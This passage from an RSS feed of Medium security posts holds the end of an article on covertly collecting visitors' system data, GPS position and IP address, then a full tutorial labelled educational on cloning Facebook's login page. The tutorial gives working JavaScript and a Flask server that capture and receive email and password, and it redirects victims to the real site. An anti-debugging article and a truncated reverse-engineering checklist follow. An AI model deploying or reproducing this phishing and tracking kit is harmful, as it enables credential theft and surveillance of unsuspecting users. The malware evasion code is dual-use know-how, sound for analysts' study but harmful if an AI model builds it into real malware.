navigator.geolocation.getCurrentPosition is used to collect the user’s geographic location.<br>Note that collecting GPS information requires the user’s permissions, which will appear as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2hwEiO_EwB8VbLHFQvlrA.png" /><figcaption>Asking for GPS permissions</figcaption></figure><h4>3- Getting IP address:</h4><pre>async function getIPAddress() {<br>try {<br>const response = await fetch(&#39;https://api.ipify.org?format=json&#39;);<br>if (!response.ok) {<br>throw new Error(&#39;Network response was not ok&#39;);<br>}<br>const data = await response.json();<br>return data.ip;<br>} catch (error) {<br>console.error(&#39;Error fetching IP address:&#39;, error);<br>return null;<br>}<br>}</pre><p>The above code is used to obtain the user’s IP address as soon as they open our website.</p><p>The reason for this is that if the user does not agree to GPS permissions, we can alternatively obtain the IP address and analyze it to determine their location.</p><blockquote>“Note that using an IP address to determine a user’s location is not always accurate, because the IP address may indicate the location of the service provider rather than the user’s actual location!”</blockquote><p>Finally, we write the function that will take all this information and send it to the server:</p><pre>async function sendData() {<br>try {<br>const systemInfo = await getSystemInfo();<br>let geolocation = null;<br>let ipAddress = await getIPAddress();<br>try {<br>geolocation = await getGeolocation();<br>} catch (geoError) {<br>console.error(&#39;Geolocation error:&#39;, geoError);<br>geolocation = { error: geoError.message };<br>}<br>const data = {<br>systemInfo,<br>geolocation,<br>ipAddress<br>};<br>fetch(&#39;/submit-data&#39;, {<br>method: &#39;POST&#39;,<br>headers: {<br>&#39;Content-Type&#39;: &#39;application/json&#39;<br>},<br>body: JSON.stringify(data)<br>})<br>.then(response =&gt; response.json())<br>.then(data =&gt; {<br>console.log(&#39;Response:&#39;, data);<br>})<br>.catch(error =&gt; {<br>console.error(&#39;Error:&#39;, error);<br>});<br>} catch (error) {<br>console.error(&#39;Error collecting data:&#39;, error);<br>}<br>}<br>sendData()</pre><p>Now we can save all the codes in a file named script.js.</p><p>and finally, this is the server that will receive the data:</p><pre>from flask import Flask, request, render_template, jsonify<br>app = Flask(__name__)<br>@app.route(&#39;/&#39;)<br>def index():<br>return render_template(&#39;index.html&#39;)<br>@app.route(&#39;/submit-data&#39;, methods=[&#39;POST&#39;])<br>def submit_data():<br>data = request.get_json()<br>print(&#39;Received data:&#39;, data)<br>return jsonify({&#39;message&#39;: &#39;Data received successfully&#39;})<br>if __name__ == &#39;__main__&#39;:<br>app.run(host=&#39;0.0.0.0&#39;, port=5000, debug=True)</pre><p>We save the previous code in a file named app.py, then we arrange the three files like this:</p><p>facebook-login/</p><p>│</p><p>├── app.py</p><p>├── templates/</p><p>│ └── index.html</p><p>└── static/</p><p>│└── js/</p><p>│ └── script.js</p><blockquote>Note that the index.html file is any website you can copy as we did in the previous article or a regular HTML page.</blockquote><p>As you can see in the previous diagram, we create the templates to place our index.html inside it and static/js folder to place our script.js inside it.</p><p>In the main folder, we place the server file, then we run it using the following command:</p><pre>$ python3 app.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Way8NJ_AC6IVli5vl008Q.png" /><figcaption>Running our server</figcaption></figure><p>When the user opens the previous link 192.168.1.248.72, the information will be collected and sent to our server, as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OYlr4XTzT99ukQFcZPxU_g.png" /><figcaption>Getting User Info</figcaption></figure><p>Great, we just got your browser user information and IP address as well!</p><blockquote>Note that the function for obtaining GPS information will not work even if you grant it permissions, because it does not work over HTTP and requires an encrypted HTTPS connection.</blockquote><p>In this way, an attacker can use JavaScript to obtain a lot of information or request access to hardware such as GPS, cameras, and microphones to capture information about you and send it to their server! The previous server operates only within the internal network.</p><p>To make the local server (localhost) visible on the internet, you can use several different methods, such as setting up the network using NAT settings or using a third-party service such as Ngrok or web hosting solutions.</p><p>What’s next?</p><p>In the next and final article, we will see how we can access camera, microphone, and file permissions, as well as make our website visible to everyone on the Internet.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c78fe74efd02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phishing Attack using JavaScript (for educational purpose only)]]></title>
            <link>https://medium.com/@Oscar404/phishing-attack-using-javascript-545dbbafb423?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/545dbbafb423</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[credentials]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Fri, 16 May 2025 08:56:17 GMT</pubDate>
            <atom:updated>2025-05-16T11:31:49.256Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GdJ1sOZxEpKV7K_L.PNG" /><figcaption>phishing diagram</figcaption></figure><p>in this article i will show you how to create your own website to steal credentials for demonstration only!!</p><p>First, we must know that the most important point here is JavaScript, why?</p><p>Because JavaScript is the only language that can interact with browsers and there are lots of APIs that the browser provides for JavaScript that allows the browser to perform lots of critical points as we will see….</p><h3>Clone The Target Website:</h3><p>First, we need to copy (simulate) the web page we want to fake and the following link contains the Facebook login page:</p><p><a href="https://www.facebook.com/login.php/"><em>https://www.facebook.com/login.php/</em></a></p><p>Open the pervious link in any browser, such as Google Chrome or Microsoft Edge, right-click anywhere on the page, and then select “Inspect” from the menu, as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d7T-hgM-e0oFUX3QGGjdrQ.png" /><figcaption>Inspecting Facebook Login Page</figcaption></figure><p>The lower window for the code will appear, as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*wSNjeJPMqfNXzHWX7BowOw.png" /><figcaption>Source Code of the web page</figcaption></figure><p>Here, we delete all the script parameters &lt;script&gt;…&lt;/script&gt;, which are responsible for loading the JavaScript files we don’t need, we only need the layout, so we left-click on all of these parameters and delete them using the Delete button, until we get the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*qgPtguRS5qTvTHfZBpXA8Q.png" /><figcaption>Deleting JS Files/Links</figcaption></figure><p>Then we copy the &lt;HTML&gt; at the beginning or end of the code by right-clicking and choosing:<br>Copy &gt; Copy element</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*yztM01G5oUnxtNiG0K2oHA.png" /><figcaption>Copying HTML element</figcaption></figure><p>After copying the code, we save it in a file with the extension .html, such as index.html then when we open it in any browser, we will get the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DesmZbDVgkgpqJ9EiSOoQ.png" /><figcaption>Cloning Facebook Page</figcaption></figure><h3>Form Manipulation:</h3><p>Great, we’ve just successfully copied the login page.<br>The next step is to add the code to send us the login information, or Form Manipulation.</p><p>Here, we’ll use JavaScript, but first, let’s understand what a Form is in HTML:<br>An HTML Form is one of the basic elements in HTML (Hypertext Markup Language) that is used to collect input from users.</p><p>HTML Forms allow users to enter data such as text, passwords, specific options, and more, then send it to the server for processing.<br>The following image illustrates this better:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*SsNMPViDtP7UaENt0c1mwQ.png" /><figcaption>HTML Form</figcaption></figure><p>This is the simplest form of an HTML form, and even if you don’t know HTML, you can still understand the above code:<br>The code (part) of the form is defined by the &lt;form&gt; element, which specifies the start and end of the form.</p><p>The action attribute specifies the URL to which the data will be sent when the form is submitted (action=”/submit-form”), and the method attribute specifies the type of request (method=”post”).<br>The &lt;label&gt; element provides a label for the input elements, and each input has its own element, and vice versa.<br>The &lt;input&gt; element is used for entering data.<br>The &lt;input type=”submit”&gt; element is used as a button to submit the form.<br><strong>The Facebook page we copied also has this form, but in a different format:<br></strong>What matters to us is modifying the form’s action, then specifying the input’s ID.</p><p>As in the previous code, the ID of the first name field is fname, and the last name field is lname.<br>Here we modify the code of the previous Facebook page, specifically the action in the form, to point to our server to which we will send the data, and this will look like this:</p><pre>&lt;form id=&quot;login_form&quot; action=&quot;/RemoteSubmit&quot; method=&quot;post&quot; onsubmit=&quot;&quot;&gt;</pre><p>We need this to point to <strong>RemoteSubmit</strong>, we also specify the ID for the entry, which is the account name (email) and the password (pass).</p><p>and the following script is the JavaScript code that retrieves the user’s information and sends it to our server via the previous path, RemoteSubmit/.</p><p>This code will run when the user fills in their information and clicks the Log in button.</p><pre>document.getElementById(&#39;login_form&#39;).addEventListener(&#39;submit&#39;, function(event) {<br>event.preventDefault();<br>const email = document.getElementById(&#39;email&#39;).value;<br>const pass = document.getElementById(&#39;pass&#39;).value;<br>const data = {<br>email: email,<br>pass: pass<br>};<br>fetch(&#39;/RemoteSubmit&#39;, {<br>method: &#39;POST&#39;,<br>headers: {<br>&#39;Content-Type&#39;: &#39;application/json&#39;<br>},<br>body: JSON.stringify(data)<br>})<br>.then(response =&gt; response.json())<br>.then(data =&gt; {<br>console.log(&#39;Success:&#39;, data);<br>window.location.href = &#39;https://www.facebook.com&#39;;<br>})<br>.catch((error) =&gt; {<br>console.error(&#39;Error:&#39;, error);<br>window.location.reload();<br>});<br>});</pre><p>The above code collects data from the email and password entries and sends them to our server.</p><p>Upon successful registration, the user will be redirected to Facebook’s original login page using <strong>window.location.href</strong> to perform automatic redirection and if an error occurs, the fake web page will be reloaded!</p><p>now we save the above code in a file named script.js, then return to the Facebook page’s HTML page and write the following code at the end of the file:</p><pre>&lt;script src=&quot;{{ url_for(&#39;static&#39;, filename=&#39;js/script.js&#39;) }}&quot;&gt;&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>This preceding code tells the HTML page where our previous JavaScript code is.<br>Finally, we write the server code that will receive this data:</p><pre>from flask import Flask, request, jsonify, render_template<br>app = Flask(__name__)<br>@app.route(&#39;/&#39;)<br>def index():<br>return render_template(&#39;index.html&#39;)<br>@app.route(&#39;/RemoteSubmit&#39;, methods=[&#39;POST&#39;])<br>def remote_submit():<br>data = request.json<br>print(f&quot;Received data: {data}&quot;)<br>return jsonify({&quot;status&quot;: &quot;success&quot;, &quot;received&quot;: data}), 200<br>if __name__ == &#39;__main__&#39;:<br>app.run(debug=False, host=&#39;0.0.0.0&#39;, port=80)</pre><p>We save the previous code in a file named app.py, then we arrange the three files like this:</p><p>facebook-login/</p><p>│</p><p>├── app.py</p><p>├── templates/</p><p>│ └── index.html</p><p>└── static/</p><p>└── js/</p><p>└── script.js</p><p>As you can see in the previous diagram, we create the templates and static/js folders and place our files inside them.</p><p>Then, we place the server file in the main folder, and run it using the following command:</p><pre>$ python3 app.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9_DLURV2eso17lLdb0E9w.png" /><figcaption>Running our server</figcaption></figure><p>As shown in the previous image, we can now visit the fake page we created within our private network using the IP address 192.168.248.78 from any device on our private network:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9iMKa2FbbSm_SZhhWY-2Q.png" /><figcaption>Fake Login Page</figcaption></figure><p>When the user tries to log in using his data, it will be sent to our server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ryzkRetw5CZ6FexPGIBiXg.png" /><figcaption>Gaining User Credentials</figcaption></figure><p>As you can see in the previous image, the login information has been sent to the server, and the user will then be redirected to the original Facebook login page.</p><p>What&#39;s next?<br>In the next article, we will explain how we collect browser information and request access permissions to the camera, microphone, and GPS.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=545dbbafb423" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anti-Debugging Techniques]]></title>
            <link>https://medium.com/@Oscar404/anti-debugging-techniques-4d8f89f8a361?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d8f89f8a361</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[patching]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Tue, 11 Feb 2025 16:26:12 GMT</pubDate>
            <atom:updated>2025-02-11T16:26:12.605Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XWctSh5JOFq4b5zX.png" /></figure><p><em>Anti-debugging </em>is a series of anti-reversing techniques used by malware (and even some legitimate programs) to hamper or prevent debugging.</p><p>For example, the malware might try to interfere with the debugger process if it detects that it’s attached to a debugger, or it might try to prevent debugging altogether by using so-called anti-attach mechanisms or crashing the debugger program.</p><p>In this article, we’ll explore some of these techniques in detail.</p><h3><strong>Using Windows API Functions to Access the PEB:</strong></h3><p>First of all, The PEB is a Process Environment Block (PEB) is a structure that contains pointers to information in memory about the currently running process and the PEB includes several pointers that are relevant to anti debugging, as listed here:</p><p>0x002 BeingDebugged:</p><p>Indicates whether the program is currently being debugged.</p><p>0x018 ProcessHeap:</p><p>Contains pointers to the heap’s Flags and ForceFlags members.</p><p>0x068 NtGlobalFlag:</p><p>Contains information related to the creation of memory heaps.</p><p>Before we go deeper, we should understand that Windows provides a set of functions that programs can call to see if a debugger is attached to them and Malware can exploit these functions as well to shut itself down or modify its behavior if a debugger is detected, and they can be as followed:</p><h4><strong>1. IsDebuggerPresent and CheckRemoteDebuggerPresent:</strong></h4><p>One of the best-known and simplest Windows functions for detecting debuggers is IsDebuggerPresent.</p><p>This function returns a nonzero value if the current process is being debugged; otherwise, it returns <strong>0</strong> and Malware can simply call it like this:</p><pre>if (IsDebuggerPresent()) {<br>    ExitProcess(0); // Stop execution<br>}</pre><p>The CheckRemoteDebuggerPresent function returns the same information, but with a value of True or False:</p><pre>BOOL isDebugger = FALSE;<br>CheckRemoteDebuggerPresent(GetCurrentProcess(), &amp;isDebugger);<br>if (isDebugger) {<br>    ExitProcess(0);<br>}</pre><p>The following example shows how malware might use it and how can you detect it:</p><pre>--snip--<br>push [ebp+hProcess]<br>push [ebp+DebuggerPresent]<br>call CheckRemoteDebuggerPresent<br>--snip--</pre><p>As you can see two parameters are being pushed to the stack here: a handle to the target process (in this case, the malware’s own process,hProcess) followed by a pointer to a variable that will receive the information returned (DebuggerPresent).</p><p>Once the malware calls CheckRemoteDebuggerPresent, the return value (True or False) is stored in the DebuggerPresent variable; As you’ll see later in the chapter, these are some of the easiest debugger detection techniques to circumvent.</p><blockquote>This means that in IsDebuggerPresent, IsDebuggerPresent They can be reverse engineered and defused by changing the value in the register to be 0.</blockquote><h4><strong>2. NtQueryInformationProcess:</strong></h4><p>The NtQueryInformationProcess function is an NT API function that provides internal information about any running Process and so it can be used to detect if a program is running under a Debugger environment such as x64dbg, OllyDbg, IDA Pro, and others, but how?</p><p>NtQueryInformationProcess takes several parameters, including:</p><p>ProcessHandle → Handle of the target process, usually passed to GetCurrentProcess() to retrieve the handle of the current process.</p><p>ProcessInformationClass → Specifies the type of information requested about the process, here we use the following values ​​to detect the debugger:</p><p>ProcessDebugPort (7): If it returns a non-zero value, it means that the program is being debugged.</p><p>ProcessDebugFlags (0x1F): If it returns 0, it means that a Debugger is connected to the program.</p><p>ProcessDebugObjectHandle (0x1E): If it returns a valid handle, it means that a Debugger is connected.</p><p>ProcessInformation → Variable to store the result.</p><p>ProcessInformationLength → Size of the target variable (sizeof(DWORD))</p><p>ReturnLength → Optional variable to store the number of bytes returned (can be passed as NULL).</p><pre>#include &lt;windows.h&gt;<br>#include &lt;winternl.h&gt;<br><br>typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(<br>    HANDLE, UINT, PVOID, ULONG, PULONG);<br><br>bool isDebuggerAttached() {<br>    HMODULE hNtDll = GetModuleHandle(&quot;ntdll.dll&quot;);<br>    pNtQueryInformationProcess NtQueryInformationProcess =<br>        (pNtQueryInformationProcess)GetProcAddress(hNtDll, &quot;NtQueryInformationProcess&quot;);<br><br>    DWORD debugPort = 0;<br>    NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(), 7, &amp;debugPort, sizeof(DWORD), NULL);<br>    return (debugPort != 0);<br>}</pre><blockquote>If the return value from the call is non-zero, it means that a Debugger is connected so this also can be defused by making the register always 0.</blockquote><h4><strong>3. NtQuerySystemInformation:</strong></h4><p>This is another function in Windows NT that allows programs to query the system for various information, such as running processes, resources used, or the status of the debugger.</p><p>And it’s a structure that is returned when calling NtQuerySystemInformation with the identifier SystemKernelDebuggerInformation.</p><p>This structure contains two important variables to detect whether a kernel debugger is connected to the system or not:</p><ul><li>KdDebuggerEnabled:</li></ul><p>If its value is non-zero (≠0), it means that the debugger is enabled in the system, and if its value is 0, it means that the debugger is disabled.</p><ul><li>KdDebuggerNotPresent:</li></ul><p>If its value is 0, it means that there is a debugger connected to the system, and if its value is non-zero (≠0), it means that there is no debugger connected.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;winternl.h&gt;<br>#include &lt;stdio.h&gt;<br><br>typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {<br>    BOOLEAN KdDebuggerEnabled;<br>    BOOLEAN KdDebuggerNotPresent;<br>} SYSTEM_KERNEL_DEBUGGER_INFORMATION;<br><br>typedef enum _SYSTEM_INFORMATION_CLASS {<br>    SystemKernelDebuggerInformation = 35<br>} SYSTEM_INFORMATION_CLASS;<br><br>extern &quot;C&quot; NTSTATUS NTAPI NtQuerySystemInformation(<br>    SYSTEM_INFORMATION_CLASS SystemInformationClass,<br>    PVOID SystemInformation,<br>    ULONG SystemInformationLength,<br>    PULONG ReturnLength<br>);<br><br>int main() {<br>    SYSTEM_KERNEL_DEBUGGER_INFORMATION debuggerInfo;<br>    NTSTATUS status = NtQuerySystemInformation(SystemKernelDebuggerInformation, &amp;debuggerInfo, sizeof(debuggerInfo), NULL);<br><br>    if (status == 0) {<br>        printf(&quot;KdDebuggerEnabled: %d\n&quot;, debuggerInfo.KdDebuggerEnabled);<br>        printf(&quot;KdDebuggerNotPresent: %d\n&quot;, debuggerInfo.KdDebuggerNotPresent);<br><br>        if (debuggerInfo.KdDebuggerEnabled &amp;&amp; !debuggerInfo.KdDebuggerNotPresent) {<br>            printf(&quot;Kernel debugger detected!\n&quot;);<br>        } else {<br>            printf(&quot;No kernel debugger detected.\n&quot;);<br>        }<br>    } else {<br>        printf(&quot;NtQuerySystemInformation failed!\n&quot;);<br>    }<br><br>    return 0;<br>}</pre><blockquote>If you are working in malware analysis, this scan can be bypassed by Debugging return values ​​to make KdDebuggerEnabled always appear as 0.</blockquote><h4><strong>4. OutputDebugString:</strong></h4><p>This Windows API function is used to send debug messages to the debugger if it is connected to the process, how?</p><p>This is done using SetLastError and GetLastError to see if the OutputDebugString succeeded or not, and the idea is that the function doesn’t return an error when the debugger is running, but fails when it is not present.</p><pre>SetLastError(5);<br>OutputDebugString(&quot;testing123&quot;);  <br>if (GetLastError() != 5) { <br><br>    AntiDebugDetected();<br>}</pre><p>here adummy error code is set using SetLastError(5).</p><p>OutputDebugString is called to send a string (testing123).</p><p>The current error code is returned using GetLastError().</p><p>If the error code does not change (GetLastError() == 5), then OutputDebugString did not change the error, indicating that a debugger is connected, and if the error code changes, then OutputDebugString failed, indicating that there is no debugger.</p><blockquote>This can be defused or bypassed by several ways:</blockquote><blockquote>API Hooking</blockquote><blockquote>After calling OutputDebugString, SetLastError(5) can be called again to trick the code.</blockquote><blockquote>NtSetInformationThread can be used with ThreadHideFromDebugger to hide the debugger from all scanning.</blockquote><h4><strong>5. CloseHandle and NtClose:</strong></h4><p>CloseHandle and NtClose are two functions in the Windows API that are used to close handles associated with objects such as files, processes, and threads.</p><p>When you try to close an invalid handle, the system throws an EXCEPTION_INVALID_HANDLE exception.</p><p>If there is no debugger connected, the process will be terminated or the error will be handled internally.</p><pre>mov ebx, [invalid_handle]<br>call NtClose</pre><p>If there is a debugger connected, it will automatically catch this exception (EXCEPTION_INVALID_HANDLE).<br>The malware can monitor whether the exception is caught or not.<br>If it is caught, it means that a debugger is running, and it can then implement countermeasures, such as TerminateProcess.</p><blockquote>This can be bypassed by several ways:</blockquote><blockquote>Use the Ignore All Exceptions option in debugging tools like x64dbg or xdbg so that EXCEPTION_INVALID_HANDLE is not handled by the debugger.</blockquote><blockquote>Use SEH (Structured Exception Handling) to handle the error internally</blockquote><blockquote>API Hooking can be used to intercept NtClose and force it to return a value indicating success even if the handle is invalid.</blockquote><h4><strong>6. NtQueryObject:</strong></h4><p>This function takes 3 main parameters:</p><p>Handle → The handle of the object we want to retrieve information about.</p><p>ObjectInformationClass → Specifies the type of information we want to retrieve about the object.<br>ObjectInformation → A pointer to a location in memory where the retrieved data will be stored.<br>When NtQueryObject is called with ObjectInformationClass set to 3 (ObjectAllTypesInformation), a list of all object types present in the system will be retrieved, including DebugObject, But how the malware use it?</p><p>The malware calls NtQueryObject with ObjectInformationClass = 3 to retrieve a list of objects.</p><p>It scans the retrieved data (ObjectInformation) for a DebugObject.</p><p>If it finds a DebugObject, it means that a Debugger is active or was active in the past, and if a Debugger is detected, the malware may implement counter-tactics, such as:</p><p>ExitProcess.</p><p>Trigger malicious behavior only if no Debugger is detected.</p><p>Obfuscate code or disable certain functions to prevent analysis.</p><blockquote>This can be bypassed by several ways:</blockquote><blockquote>Modifying data returned from NtQueryObject via API Hooking and The code can be modified so that NtQueryObject returns a list that hides the DebugObject object.</blockquote><blockquote>Also running Kernel Debugging makes hidden objects not appear in NtQueryObject.</blockquote><h4><strong>7. Heap Flags:</strong></h4><p>When any process runs in Windows, a portion of memory known as Heap is allocated, which is where dynamic data that is created while the program is running is stored.</p><p>And The PEB (Process Environment Block) contains important information about the process, such as loaded libraries and the location of the Heap.</p><p>On 32-bit systems, the process pointer to the Heap is at 0x18 inside the PEB.</p><p>On 64-bit systems, the pointer is at 0x30 inside the PEB.</p><p>Then you have Flags and ForceFlags.</p><p>So, what are Flags and ForceFlags?<br>Inside the Heap structure, there are two important variables:</p><p>Flags: Contains information about the state of the memory being used.<br>ForceFlags: Sometimes used to enforce certain behaviors specific to the Heap, such as running scans or enabling security features.<br>On Windows 7 and later, when the process is run inside the Debugger, the values ​​of these variables are changed to:</p><p>Flags = 0x40000062<br>ForceFlags = 0x40000060</p><p>When executing malware, it may attempt to check whether it is running inside a debugging environment by reading the Flags and ForceFlags values.</p><p>and if the values ​​are 0x40000062 or 0x40000060, the program can detect that it is running inside a Debugger.</p><p>Also, ways to Read Values ​​Inside a Heap Malware can use one of the following methods to extract these values:</p><p>Calling a Windows API:</p><p>RtlQueryProcessHeapInformation<br>RtlQueryProcessDebugInformation<br>These functions are used to access information in the Heap, and the program can analyze the stored values ​​to detect any changes that indicate the presence of a Debugger.</p><p>Reading the PEB Manually</p><p>The program can read the PEB data directly using Assembly instructions such as FS:[0x30] (on 32-bit systems) or GS:[0x60] (on 64-bit systems).<br>Then, the values ​​for Flags and ForceFlags can be extracted and verified.</p><blockquote>Since the Flags and ForceFlags values ​​are read from the PEB, we can modify them at runtime so that they do not indicate the presence of a Debugger.</blockquote><blockquote>You can intercept RtlQueryProcessHeapInformation and RtlQueryProcessDebugInformation calls so that they return false values.</blockquote><h4><strong>8. Directly Accessing the PEB:</strong></h4><p>When a program runs on Windows, a lot of process-specific information is stored in the Process Environment Block (PEB) as we said.</p><p>Some fields within the PEB reveal whether the program is running under a debugger, and malware can read these values ​​to detect the presence of dynamic analysis.</p><p>So, instead of using Windows APIs like IsDebuggerPresent or CheckRemoteDebuggerPresent, some malware directly accesses PEB using Assembly code, as in the following example:</p><pre>--snip--<br>mov eax, [fs:0x30]<br>cmp [eax+0x2], 1 ; BeingDebugged<br>jnz DebuggerDetected<br>--snip--</pre><p>mov eax, [fs:0x30]: Gets the address of the PEB in the EAX register.</p><p>On 32-bit systems, the PEB is located at fs:[0x30], while on 64-bit systems it is located at gs:[0x60].</p><p>cmp [eax+0x2], 1: Compares the value stored at eax+0x2 (which represents BeingDebugged in the PEB) with 1.</p><p>If the value is 1, the program is running under a Debugger.</p><p>jnz DebuggerDetected: If the result is not 0, the program executes some code in response to the Debugger’s detection, such as stopping execution or executing malicious code.</p><p>Another way the malware checks the Debugger is by reading the NtGlobalFlag inside the PEB at offset 0x68:</p><pre>mov eax, [fs:0x30]   ; getting the address of PEB<br>mov eax, [eax+0x68]  ; getting NtGlobalFlag<br>cmp eax, 0x70        ; comparing NtGlobalFlag with 0<br>je DebuggerDetected  ; debug is true if 0</pre><p>NtGlobalFlag contains memory-related settings, and if a Debugger is attached to the process, its value will be 0x70.</p><p>Malware uses this as another way to detect Debuggers without calling Windows APIs that can be easily detected.</p><blockquote>This can be bypassed by several ways:</blockquote><blockquote>You can change BeingDebugged (PEB+0x2) and NtGlobalFlag (PEB+0x68) to 0 inside memory.</blockquote><blockquote>Also, you can use DLL Injection + Hooking to intercept access to PEB and prevent values ​​from being read.</blockquote><h4>Summary:</h4><p>sure, there are other methods you can use to achieve anti debugging but in this article i have explained the most famous one and small tips to bypass it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d8f89f8a361" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Engineering Checklist]]></title>
            <link>https://medium.com/@Oscar404/reverse-engineering-checklist-fd05aa8a0135?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd05aa8a0135</guid>
            <category><![CDATA[binary-search]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[binary-analysis]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Mon, 23 Dec 2024 19:01:38 GMT</pubDate>
            <atom:updated>2024-12-23T19:01:38.853Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/683/0*RTEuESIS2KW3cb7E.jpg" /></figure><p>Reverse engineering is a crucial process in the world of cybersecurity, software development, and malware analysis. It involves deconstructing a system, application, or device to understand its design, functionality, and underlying mechanisms.</p><p>By peeling back the layers of software or hardware, reverse engineers can uncover vulnerabilities, analyze malware behavior, and even retrieve lost or corrupted functionality.</p><p>This guide provides a comprehensive checklist for conducting reverse engineering in a structured and efficient manner. Whether you’re analyzing a suspicious program, investigating a potential security flaw, or learning the inner workings of software, this checklist ensures no critical step is overlooked.</p><p>From static and dynamic analysis to memory inspection and protocol decoding, each stage equips you with the tools and methodologies needed to uncover the secrets hidden within complex systems.</p><p>Let’s delve into the world of reverse engineering with a systematic approach that empowers you to achieve your objectives effectively.</p><h3>1. Identify The Target information:</h3><p>The first step in any reverse engineering process is to gather all the necessary files and collect as much information as possible about the target software or system.</p><p>This step lays the foundation for understanding how the file operates, its structure, and its potential vulnerabilities and below is a detailed explanation of the key aspects of this phase:</p><h4>a. Collecting Required Files</h4><ul><li>The primary goal is to gather all files related to the target program. These may include:</li><li><strong>Executable files</strong>: These are the main files that run the program, typically with extensions like .exe, .elf, or .apk.</li><li><strong>Dynamic Libraries</strong>: Files such as .dll (Windows) or .so (Linux) that the program depends on to execute certain functionalities.</li><li><strong>Configuration files</strong>: Files that may contain important parameters or data used by the program during runtime.</li><li><strong>Associated Resources</strong>: Other files like images, scripts, or databases that are part of the application.</li></ul><p>This comprehensive collection ensures that no critical piece of information is left out during the analysis.</p><h4>b. Identifying File Type</h4><ul><li>Determining the type of file is a critical step in reverse engineering as it influences the tools and techniques you will use to analyze it.</li><li>Tools like <strong>file</strong> (Linux/Unix command) or <strong>Binwalk</strong> can help identify the file format and structure:</li><li><strong>Executable</strong>: Indicates a runnable program, such as .exe on Windows or ELF binaries on Linux.</li><li><strong>Shared Object (SO)</strong>: Libraries shared among applications, typically found in Linux systems.</li><li><strong>APK</strong>: Android application packages, which are essentially ZIP archives containing the app’s resources and compiled code.</li><li><strong>Compressed/Encoded Files</strong>: Identifying whether the file is compressed (e.g., .zip, .rar) or encoded is critical for extracting its contents.</li></ul><h4>c. Analyzing File Properties</h4><p>Once the file type is identified, the next step is to analyze its properties in detail to understand its structure and behavior. This involves:</p><ol><li><strong>Checking Headers and Metadata</strong>:</li></ol><ul><li>Many file types include headers that reveal essential information, such as the target platform, architecture (x86, x64, ARM), and compilation details.</li><li>Tools:</li><li><strong>PEView</strong> or <strong>CFF Explorer</strong> for Windows executables.</li><li><strong>readelf</strong> or <strong>objdump</strong> for ELF files on Linux.</li><li><strong>APKTool</strong> for APK files to decompile and analyze their contents.</li></ul><p><strong>2. Detecting Compression or Encryption</strong>:</p><ul><li>Some executables or files are compressed or encrypted to obfuscate their content.</li><li><strong>UPX</strong> or similar packing tools are often used in malware or protected executables.</li><li>Tools like <strong>Binwalk</strong> or <strong>Detect It Easy (DIE)</strong> can identify compressed or packed files and help in unpacking them.</li></ul><p><strong>3. Analyzing Strings and Resources</strong>:</p><ul><li>Extracting and reviewing embedded strings (e.g., plaintext, error messages, URLs) can provide insight into the program’s functionality and potential connections to external systems.</li><li>Tools:</li><li><strong>strings</strong> (Linux/Windows) for textual data extraction.</li><li><strong>Resource Hacker</strong> for analyzing resources in Windows executables.</li></ul><h3>2. Dynamic Analysis:</h3><p>Dynamic analysis focuses on observing the runtime behavior of software or malware in a controlled environment.</p><p>This approach helps uncover hidden functionality, detect malicious activities, and gain a deeper understanding of how the program interacts with the operating system, files, registry, and network.</p><p>Below is an expanded explanation of this step:</p><h4>a. Running the Program in an Isolated Environment</h4><ul><li>It is critical to execute the program in a <strong>sandbox</strong> or isolated environment to ensure the safety of the host system and to prevent any unintended harm or data leaks.</li><li><strong>Sandboxing Tools</strong>:</li><li><strong>Cuckoo Sandbox</strong>: A popular open-source platform that automates dynamic analysis by monitoring processes, network activities, and file 